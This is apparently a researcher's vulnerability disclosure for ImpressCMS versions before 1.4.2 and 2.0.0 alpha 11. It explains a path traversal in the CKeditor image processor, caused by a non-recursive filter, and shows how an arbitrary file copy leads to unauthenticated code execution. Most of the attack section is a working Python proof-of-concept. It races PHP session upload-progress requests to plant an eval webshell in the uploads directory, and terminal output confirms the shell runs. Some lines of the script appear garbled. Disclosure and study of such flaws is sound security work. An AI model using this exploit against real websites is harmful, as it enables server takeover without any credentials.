impressCMS - unauthenticated code execution

12-02-2022 - rekter0

ImpressCMS is an open source content management system for building and maintaining dynamic web sites, written in the PHP programming language and using a MySQL database
Versions affected < 1.4.2 pre-release, < v2.0.0 alpha 11

# Summary

CKeditor image processor in impressCMS used to have insufficient filter for user supplied image path gives attacker possible path traversal leading to arbitrary file copy/overwrite, with default php config for session upload progress this could lead to pre-auth RCE.

# Vulnerability analysis

Arbitrary file copy


> header("Content-Type: text/plain"); $imageName = str_replace(array("../", "./"), "", $_REQUEST['imageName']); 
> $origName = str_replace(array("../", "./"), "", $_REQUEST['origName']); 
if (empty($origName)) {
    echo "{imageFound:false}"; exit; 
$action = $_REQUEST["action"]; $fileInfo = pathinfo($imageName); $extension = $fileInfo['extension']; switch ($action) {
    case "undo":  // This is actually revert now, as only revert is supported
        if (file_exists($origName)) {
>           unlink($imageName); copy($origName, $imageName); }

When undo action is performed, copy() function was called with $_REQUEST['origName'] and $_REQUEST['imageName'] parameters controlled by attacker

Path traversal
str_replace is not recursive

~$ php -a
Interactive mode enabled

php > var_dump(str_replace(array("../", "./"), "", '.....///'));
string(3) "../"

...../// after going through the filter becomes ../

To copy an arbitrary file, exploit could have been the following:


similar vulnerability is also triggered by the action "save"
vulnerable code snippet:

case "save":  // Copy working image back to original
        copy($imageName, $origName); break;

Remote Code Execution

Since we got an arbitrary file copy, all we need is to have our malicious php code somewhere on the server and we copy it to a public directory with .php extension,
there's some modules like forum that allow a user to upload a picture as attachement, we can embed our malicious php code inside the picture metadata.
but we need a more reliable way, since upload function can be disabled.
luckily php is shiped with upload_progress feature which could help us get our code on a file in the server. Ref:

TL;DR, by providing PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, php will enable session for you and containing value from post data parameter PHP_SESSION_UPLOAD_PROGRESS, where we will have our php code

to exploit this, we create the session file, then we copy it.
there's a bit of a race here,
to properly exploit this, we a pool of multipart post requests with cookie PHPSESSID=letspwnimpressCMS and POST parameter PHP_SESSION_UPLOAD_PROGRESS containing our payload <?=eval($_GET[a]);exit;// to


and make another thread pool to trigger the file copy to guarantee the success of the exploit.


this will copy session file to uploads directory with file name aa.php, and the shell would be found at


final exploit code, this is just a poc made for default php config, use at your own risk

import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool
if len(sys.argv)<3:
    print('python '+sys.argv[0]+' http://localhost 1')
    print('python '+sys.argv[0]+' http://localhost 2')
HOST = sys.argv[1]
PATH = '/editors/CKeditor/ceditfinder/imageeditor/processImage.php'
sess_name = 'letspwnimpressCMS'
headers = {
    'Connection': 'close', 
    'Cookie': 'PHPSESSID=' + sess_name
payload = '<?=eval($_GET[a]);exit;//'
def runner1(i):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'A' + payload + 'A'
    while 1:
        fp = open('/etc/hosts', 'rb')
        r =, files={'f': fp}, data=data, headers=headers)
def runner2(i):
    filename = '/var/lib/php/sessions/sess_' + sess_name
    while 1:
        url = HOST+PATH+'?origName=.....///.....///.....///.....///uploads/aa.php&imageName=/var/lib/php/sessions/sess_letspwnimpressCMS&action=save'
        r = requests.get(url, headers=headers)
        c = r.content
        url2 = requests.get(HOST+'/uploads/aa.php?a=echo%20%2799999999999999999999999999999%27;copy(%27aa.php%27,%27bb.php%27);')
        if('99999999999999999999999999999' in url2.text):
            print('[+] done!')
            print('[!] Check '+HOST+'/uploads/bb.php?a=phpinfo();')

if sys.argv[2] == '1':
    runner = runner1
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)
  • terminal 1
$ python3 http://localhost/ 1
  • terminal 2
$ python3 http://localhost/ 2
[+] done!
[!] Check http://localhost//uploads/bb.php?a=phpinfo();

$ curl "http://localhost//uploads/bb.php?a=phpinfo();"
upload_progress_A<br />
<b>Warning</b>:  Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in <b>/var/www/html/uploads/bb.php</b> on line <b>1</b><br />
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns=""><head>
<style type="text/css">

# Impact

An unauthenticated attacker could have exploited a path traversal to obtain an arbitrary file copy leading to pre-auth RCE.

# Timeline

30-10-2020 - Reported
01-11-2020 - Vendor confirmed
14-12-2020 - Fixed in new release for pre-release v1.4.2
16-10-2021 - Fixed in new release for v2.0.0 alpha 11

impresscms - rce - php - path traversal


rekter0 © 2024